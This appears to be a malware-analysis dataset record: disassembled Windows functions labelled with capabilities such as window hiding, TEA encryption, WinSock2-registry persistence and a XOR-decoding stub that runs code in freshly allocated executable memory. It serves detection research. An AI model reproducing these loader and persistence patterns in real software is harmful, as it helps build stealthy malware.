joyce8/EMBER2024-capa huggingface dataset:
Function at 0x462ca8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x462cbf
add esp, 0xfffffff0
call fcn.00404088
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004256b4
mov eax, dword [0x49e424]
cmp word [eax + 2], 0
jne 0x462ce7
mov eax, dword [0x49e424]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00464a08
mov eax, dword [0x49e520]
cmp word [eax + 2], 0
jne 0x462d01
mov eax, dword [0x49e520]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00464c14
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41c108]
call fcn.00403d4c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41c108]
call fcn.00403d4c
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x41c108]
call fcn.00403d4c
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x42a44c]
call fcn.00430318
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x462eb8
mov eax, dword [0x49e2d8]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004306ec
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4652e8
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x49e2d8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040ebb4
test eax, eax
je 0x462e08
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040a214
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040ebe8
test eax, eax
je 0x462e1c
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404f94
mov byte [ebx + 0xd4], 0
push ebx
push 0x46447c
call fcn.00426e50
mov dword [ebx + 0xc8], eax
mov eax, dword [0x49e158]
cmp byte [eax], 0
jne 0x462e6d
mov eax, ebx
call fcn.00462ffc
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.004654fc
mov eax, ebx
call fcn.00466060
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x462ead
call fcn.004040e0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46327c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x46331b
cmp dword [ebx + 0x94], 0
jne 0x463315
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x463204
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x463315
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4632db
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x463315
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041e88c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4632ea
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x463534
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x4a3c9c]
cmp dword [eax + 0x30], 0
je 0x463691
test bl, bl
jne 0x4635e2
cmp dword [esi + 0x9c], 0
jne 0x4635d7
mov eax, esi
call fcn.00465edc
push eax
push 0x463460
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x4635a8
mov eax, dword [0x4a3c9c]
call fcn.004665bc
test al, al
je 0x4635a8
mov eax, dword [0x4a3cc0]
call fcn.00406378
mov edi, eax
cmp edi, 0
jl 0x4635a8
push 0
mov eax, dword [0x4a3cc0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x463592
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4635d7
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0041e88c
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4635b7
inc dword [esi + 0x9c]
jmp 0x463691
cmp dword [esi + 0x9c], 0
jle 0x463691
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x463691
cmp dword [esi + 0x44], 0
je 0x46363d
mov eax, dword [0x4a3c9c]
call fcn.004665bc
test al, al
je 0x46363d
mov eax, dword [0x4a3cc0]
call fcn.00406378
mov edi, eax
cmp edi, 0
jl 0x46363d
push 5
mov eax, dword [0x4a3cc0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x463627
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x46366c
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0041e88c
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x46364c
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
mov eax, 0x4a3cc0
mov ecx, 1
mov edx, dword [0x463440]
call fcn.0040652c
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x464178
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffefc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4641e2
mov eax, ebx
call fcn.004665bc
test al, al
jne 0x4641e2
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404e14
mov eax, dword [esi]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x100]
test eax, eax
je 0x4641cf
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4641ef
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404d78
jmp 0x4641ef
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404d78
add esp, 0x104
pop esi
pop ebx
ret

Function at 0x4656e0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x46574e
mov eax, esi
call fcn.0044e118
test al, al
je 0x46574e
mov eax, dword [ebx + 0x84]
call fcn.0044dd78
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x46574e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x465742
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044dd78
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00445be8
jmp 0x46574e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.0046551c
pop esi
pop ebx
ret

Function at 0x467624
Capabilities:
Hide graphical window

Disassembly:
call fcn.004675ec
test al, al
je 0x467652
mov eax, dword [0x49e4f4]
mov eax, dword [eax]
cmp dword [eax + 0x44], 0
je 0x467652
push 0
mov eax, dword [0x49e4f4]
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
call fcn.0044dd78
push eax
call sub.user32.dll_ShowWindow
ret
push 0
mov eax, dword [0x49e4f4]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x48860c
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x488631
cmp dword [esp + 4], 5
jb 0x488631
mov al, 1
jmp 0x488633
xor eax, eax
add esp, 0x94
ret
Function at 0x40cf74
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0040cff7
jae 0x40cf82
xor ecx, ecx
call fcn.0040cff7
jae 0x40cfb1
xor eax, eax
call fcn.0040cff7
jae 0x40cfc1
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0040cff7
adc al, al
jae 0x40cfa3
jne 0x40cfed
stosb byte es:[edi], al
jmp 0x40cf85
call fcn.0040d003
sub ecx, ebx
jne 0x40cfca
call fcn.0040d001
jmp 0x40cfe9
lodsb al, byte [esi]
shr eax, 1
je 0x40d013
adc ecx, ecx
jmp 0x40cfe6
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.0040d001
cmp eax, 0x7d00
jae 0x40cfe6
cmp ah, 5
jae 0x40cfe7
cmp eax, 0x7f
ja 0x40cfe8
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x40cf85
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x40d340
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor ecx, ecx
push ebx
push esi
push edi
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 8]
mov esi, dword [ebx]
mov eax, dword [eax]
mov edx, dword [edx + 4]
mov dword [ebp - 4], esi
mov esi, dword [ebx + 4]
mov dword [ebp - 8], esi
mov esi, dword [ebx + 8]
mov dword [ebp - 0xc], esi
mov ebx, dword [ebx + 0xc]
mov dword [ebp - 0x10], ebx
mov ebx, 0x20
jmp 0x40d3af
add ecx, 0x9e3779b9
mov esi, edx
shl esi, 4
add esi, dword [ebp - 4]
lea edi, [ecx + edx]
xor esi, edi
mov edi, edx
shr edi, 5
add edi, dword [ebp - 8]
xor esi, edi
add eax, esi
mov esi, eax
shl esi, 4
add esi, dword [ebp - 0xc]
lea edi, [ecx + eax]
xor esi, edi
mov edi, eax
shr edi, 5
add edi, dword [ebp - 0x10]
xor esi, edi
add edx, esi
mov esi, ebx
add ebx, 0xffffffff
test esi, esi
jg 0x40d377
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
mov dword [eax + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40dcb0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
xor eax, eax
push ebx
push esi
push edi
xor esi, esi
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
lea edx, [ebp - 0xc]
push eax
push 0
push 0
push 0
push edx
lea ecx, [ebp - 0x114]
push ecx
push esi
push edi
call sub.ADVAPI32.DLL_RegEnumKeyExA
mov ebx, eax
test ebx, ebx
jne 0x40dd4f
mov dword [ebp - 0xc], 0xc8
push str.HIDVid_3689Pid_8762
call fcn.00405bc4
pop ecx
push eax
lea eax, [ebp - 0x110]
push eax
push 0x452cc6
call fcn.00405d3c
add esp, 0xc
test eax, eax
jne 0x40dd4f
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp + 0xc]
jne 0x40dd4c
mov ecx, dword [ebp + 0x10]
mov esi, 0x452cf2
mov edi, ecx
lea edx, [ebp - 0x110]
mov eax, edi
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push edx
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00405b88
add esp, 8
mov eax, 1
jmp 0x40dd5a
inc dword [ebp - 0x10]
inc esi
test ebx, ebx
je 0x40dccf
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
push eax
lea ecx, [esp + 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2RX
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40105a
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push edx
mov edx, dword [esp + 4]
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x401060
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 8
ret
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 8
ret

Function at 0x401080
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x40b800
push 0x403eb0
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x40c004]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x20], 0x104
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2RX
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40113f
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401133
cmp dword [ebp - 0x24], 1
jne 0x401133
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xfffffffffffffffe
lea ecx, [ebp - 0x10]
push ecx
push 0x40c004
call fcn.0040759c
add esp, 0xc
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xfffffffe
call fcn.00401153
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401440
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xfffffffffffffffe
push 0x40b840
push 0x403eb0
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x40c004]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp + 0x104], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
xor edi, edi
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push edi
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4014ab
mov eax, 0xfffffcdd
jmp 0x40150f
mov dword [ebp - 4], edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov dword [ebp - 0x20], edi
push 0x104
lea ecx, [ebp]
push ecx
push edi
mov edx, dword [ebp - 0x1c]
push edx
call ebx
test eax, eax
jne 0x401501
mov eax, dword [ebp + 0x110]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp]
call fcn.004011c0
add esp, 8
mov esi, eax
test esi, esi
je 0x4014fe
push 0xfffffffffffffffe
lea edx, [ebp - 0x10]
push edx
push 0x40c004
call fcn.0040759c
add esp, 0xc
mov eax, esi
jmp 0x40150f
inc edi
jmp 0x4014b4
mov dword [ebp - 4], 0xfffffffe
call fcn.00401534
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.004016f8
add ebp, 0x108
mov esp, ebp
pop ebp
ret

Function at 0x401540
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x40c004]
xor eax, esp
mov dword [esp + 0x104], eax
push esi
push edi
push 0x104
push 0x40da20
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x40da20
mov byte [0x40da23], 0
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401573
mov ecx, 7
mov esi, str.Program_FileslvbeikeVGBT.DLL
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [esp + 8]
push eax
push str.PathName
movsb byte es:[edi], byte [esi]
call fcn.00401080
add esp, 8
pop edi
pop esi
test eax, eax
je 0x4015bc
mov eax, 0xfffffcde
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004016f8
add esp, 0x108
ret
push 0
call fcn.00401440
add esp, 4
test eax, eax
jne 0x4015fc
mov eax, 0x40da20
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015d2
sub eax, edx
push eax
push 0x40da20
push str.PathName
call fcn.00401000
add esp, 0xc
neg eax
sbb eax, eax
and eax, 0x324
add eax, 0xfffffcdc
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004016f8
add esp, 0x108
ret

Function at 0x4016f8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c004]
jne 0x401702
repz ret
jmp fcn.00401935
Function at 0x4063b3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004038f4
and dword [ebp - 4], 0
cmp dword [0x40d934], 0
mov ebx, eax
jne 0x406464
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406515
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406515
push eax
call fcn.00403882
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40d934], eax
call esi
push eax
call fcn.00403882
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40d938], eax
call esi
push eax
call fcn.00403882
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40d93c], eax
call esi
push eax
call fcn.00403882
pop ecx
mov dword [0x40d944], eax
test eax, eax
je 0x406464
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403882
pop ecx
mov dword [0x40d940], eax
mov eax, dword [0x40d940]
cmp eax, ebx
je 0x4064bc
cmp dword [0x40d944], ebx
je 0x4064bc
push eax
call fcn.004038fd
push dword [0x40d944]
mov esi, eax
call fcn.004038fd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4064bc
test edi, edi
je 0x4064bc
call esi
test eax, eax
je 0x4064b3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4064b3
test byte [ebp - 0xc], 1
jne 0x4064bc
or dword [ebp + 0x10], 0x200000
jmp 0x4064f5
mov eax, dword [0x40d938]
cmp eax, ebx
je 0x4064f5
push eax
call fcn.004038fd
pop ecx
test eax, eax
je 0x4064f5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4064f5
mov eax, dword [0x40d93c]
cmp eax, ebx
je 0x4064f5
push eax
call fcn.004038fd
pop ecx
test eax, eax
je 0x4064f5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40d934]
call fcn.004038fd
pop ecx
test eax, eax
je 0x406515
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406517
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1001aee9
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x100d0db4
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100dbeac
mov dword [esi + 8], 0x100d97c0
mov dword [esi + 0xc], eax
mov dword [ebp - 4], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x60], eax
push fcn.1000b96d
push 0x1001b0f6
push 6
lea eax, [esi + 0x160]
push 8
push eax
mov byte [ebp - 4], 7
call fcn.1007ed65
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x100dbe78
mov dword [esi + 4], 0x100dbe5c
mov dword [esi + 8], 0x100dbe4c
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x100248ea
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
push esi
mov ecx, dword [esp + 8]
lea esi, [edx + ecx]
cmp edx, esi
je 0x10024919
push edi
movzx edi, byte [edx]
mov ecx, eax
and ecx, 0xff
xor ecx, edi
shr eax, 8
movzx ecx, word [ecx*2 + 0x100f75d0]
xor eax, ecx
inc edx
cmp edx, esi
jne 0x100248f9
pop edi
pop esi
ret 4

Function at 0x10029218
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x100d1c35
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100d9c7c
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
call fcn.1000250f
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x100dd620
mov dword [esi + 4], 0x100dd610
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x1007ed65
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1007ed74
pop dword [ebp - 0x2c]
mov eax, 0x1007ed74
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x49fe4
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x4916f7e3
add ecx, 0xb6e967fe
xor esi, esi
add esi, eax
mov edx, 0x10121e00
add edx, dword [ebp - 0x2c]
mov ebx, 0x5b374c9f
mov edi, dword [edx]
xor dword [ebp - 0x18], ecx
xor edi, ebx
xor dword [ebp - 4], esi
mov dword [esi], edi
xor dword [ebp - 0xc], 0x7b709bf5
add esi, 0x4b5b40c1
add esi, 0xb4a4bf43
add edx, 4
loop 0x1007edbf
add eax, 0x17257
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1007f713
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x100d7204
call fcn.100cece0
sub esp, 0x64
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
push edi
mov ecx, dword [ebp + 8]
push esi
mov dword [esi + 0x10], eax
mov al, byte [ebx + 0x2c]
mov byte [esi + 0x69], al
cmp dword [ebx], 0x10900
mov edx, ebx
sete al
mov byte [esi + 0x68], al
call fcn.1007f8eb
xor edi, edi
cmp eax, edi
jne 0x1007f8da
mov ecx, dword [ebx + 0x80]
lea eax, [ebx + 0x80]
or ecx, dword [eax + 4]
jne 0x1007f76b
push 1
pop eax
jmp 0x1007f76d
xor eax, eax
test al, al
lea ecx, [ebp - 0x70]
mov dword [ebp + 0xc], edi
sete byte [ebp + 0x17]
call fcn.100786d5
mov eax, dword [esi + 0x24]
mov dword [ebp - 4], edi
cmp eax, edi
mov dword [ebp - 0x14], edi
jbe 0x1007f8bf
mov dword [ebp - 0x10], edi
mov eax, dword [esi + 0x20]
add eax, dword [ebp - 0x10]
cmp word [ebx + 0x20], 1
mov dword [ebp - 0x1c], eax
jne 0x1007f892
cmp word [eax + 0x20], 1
jne 0x1007f892
cmp byte [esi + 0x68], 0
mov eax, dword [esi + 0x60]
sete cl
movzx edi, cl
lea ecx, [esi + 0x5c]
add edi, eax
call fcn.10080f40
mov ecx, eax
mov edx, edi
mov dword [ebp - 0x18], ecx
call fcn.1007ed65
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x70]
push dword [ebp - 0x18]
push esi
push ebx
push edi
push dword [ebp + 8]
call fcn.1007e9a8
test eax, eax
jne 0x1007f8aa
add edi, 0x2c
push 0x14
lea eax, [ebp - 0x30]
push edi
push eax
call sub.msvcrt.dll_memcmp
add esp, 0xc
test eax, eax
je 0x1007f826
cmp byte [ebx + 0x2c], 0
je 0x1007f8c5
xor eax, eax
cmp byte [edi + eax], 0
jne 0x1007f8c5
inc eax
cmp eax, 0x14
jb 0x1007f816
mov edi, dword [ebp - 0x18]
and dword [edi + 0x1c], 0
cmp dword [esi + 0x3c], 0
jne 0x1007f83e
push dword [ebp + 0x10]
lea ecx, [esi + 0x38]
call fcn.10080ecb
push 0xffffffffffffffff
push edi
mov ecx, esi
call fcn.1007ed65
test eax, eax
jne 0x1007f8aa
cmp byte [ebp + 0x17], al
je 0x1007f892
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x78]
cmp ecx, dword [eax + 8]
jne 0x1007f8a6
mov ecx, dword [ebx + 0x7c]
cmp ecx, dword [eax + 0xc]
jne 0x1007f8a6
and byte [ebp + 0x17], 0
mov cl, 1
cmp byte [ebx + 0x2d], 0
je 0x1007f892
cmp dword [eax + 0x24], 1
jne 0x1007f892
inc dword [ebp + 0xc]
mov eax, dword [ebx + 0x28]
cmp eax, dword [ebp + 0xc]
sete al
test cl, cl
je 0x1007f88a
test al, al
je 0x1007f8c5
test al, al
je 0x1007f892
test cl, cl
je 0x1007f8ae
inc dword [ebp - 0x14]
add dword [ebp - 0x10], 0x40
mov eax, dword [ebp - 0x14]
cmp eax, dword [esi + 0x24]
jae 0x1007f8bf
jmp 0x1007f792
xor cl, cl
jmp 0x1007f86a
mov esi, eax
jmp 0x1007f8cc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x70]
call fcn.1007dfbb
push 1
pop eax
jmp 0x1007f8da
cmp byte [ebp + 0x17], 0
je 0x1007f8ca
push 1
pop esi
jmp 0x1007f8cc
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x70]
call fcn.1007dfbb
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10